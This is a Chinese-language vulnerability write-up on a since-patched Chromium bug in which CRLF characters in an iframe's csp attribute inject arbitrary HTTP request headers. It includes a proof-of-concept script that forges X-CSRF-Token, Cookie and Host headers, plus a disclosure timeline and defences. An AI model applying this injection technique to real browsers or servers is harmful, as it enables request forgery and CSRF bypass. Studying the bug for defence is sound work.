通过CRLF注入在Chromium中构造任意的请求头部
字数 1241 2025-08-29 08:32:18
Chromium CRLF注入漏洞分析与利用
漏洞概述
本文详细分析Chromium浏览器中的一个安全漏洞(CVE-2018-xxxx),该漏洞允许攻击者通过CRLF注入技术在跨域请求中设置任意HTTP头部。该漏洞由安全研究人员在2018年发现并报告,影响当时版本的Chromium浏览器。
漏洞背景
CRLF注入简介
CRLF(Carriage Return Line Feed)注入是一种Web安全漏洞,攻击者通过注入特殊字符(\r\n)来控制HTTP请求或响应的头部或主体。在HTTP协议中,\r\n用于分隔头部字段和请求主体。
漏洞发现
研究人员在iframe元素的csp属性中发现了一个可利用点,该属性本应用于指定内容安全策略(CSP),但由于缺乏适当的输入过滤,导致了CRLF注入的可能性。
技术细节
iframe的csp属性机制
当为iframe元素设置src属性时,浏览器会生成包含Sec-Required-CSP头部的HTTP请求:
GET / HTTP/1.1
Host: www.google.com
upgrade-insecure-requests: 1
sec-required-csp: script-src google.com
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-encoding: gzip, deflate, br
accept-language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
cookie: [...]
Sec-Required-CSP头部用于要求嵌入的内容符合特定的CSP策略,如果不符合,页面将不会被渲染。
漏洞利用方法
通过构造特殊的csp属性值,可以注入CRLF字符并添加任意HTTP头部:
<!doctype html>
<meta charset=utf-8>
<script>
const ifr = document.createElement('iframe');
ifr.src = 'http://bntk.pl/';
ifr.csp = 'script-src**\r\nX-CSRF-Token: 1234\r\nUser-Agent: Firefox\r\nCookie: abc\r\nHost: absolutely-random-host.google**';
document.body.appendChild(ifr);
</script>
这将生成如下恶意请求:
GET / HTTP/1.1
Host: absolutely-random-host.google
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Required-CSP: script-src
X-CSRF-Token: 1234
User-Agent: Firefox
Cookie: abc
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
可注入的敏感头部
攻击者可以注入多种敏感HTTP头部,包括但不限于:
X-CSRF-Token:绕过CSRF保护User-Agent:伪装请求来源Cookie:设置任意cookieHost:修改请求目标主机Referer:伪造来源页面
漏洞危害
- CSRF保护绕过:通过注入有效的
X-CSRF-Token头部,绕过网站的CSRF保护机制。 - 会话劫持:通过注入
Cookie头部,劫持其他用户的会话。 - 请求伪造:修改
Host头部,将请求重定向到攻击者控制的服务器。 - 安全机制绕过:许多安全措施(如CORS、CSRF保护等)依赖HTTP头部进行验证,可被此漏洞绕过。
防御措施
浏览器厂商修复
Chromium团队在收到报告后迅速修复了该漏洞:
- 5月23日:报告漏洞
- 5月25日:修复漏洞
- 6月06日:稳定版Chrome发布修复
- 6月20日:披露漏洞详情
修复方法包括对csp属性值进行严格的输入验证,过滤CRLF特殊字符。
Web开发者防护
- 服务器端验证:不依赖客户端提供的HTTP头部进行安全决策。
- 严格的CSP策略:实施严格的内容安全策略,限制iframe的使用。
- 输入过滤:对所有用户提供的输入进行CRLF字符过滤。
- HTTPS强制使用:使用HSTS策略强制HTTPS连接。
总结
该漏洞展示了即使在现代浏览器中,简单的输入验证缺失也可能导致严重的安全问题。通过iframe的csp属性实现CRLF注入,攻击者能够完全控制HTTP请求头部,绕过多种安全机制。浏览器厂商和Web开发者都应从中吸取教训,加强对用户输入的验证和过滤。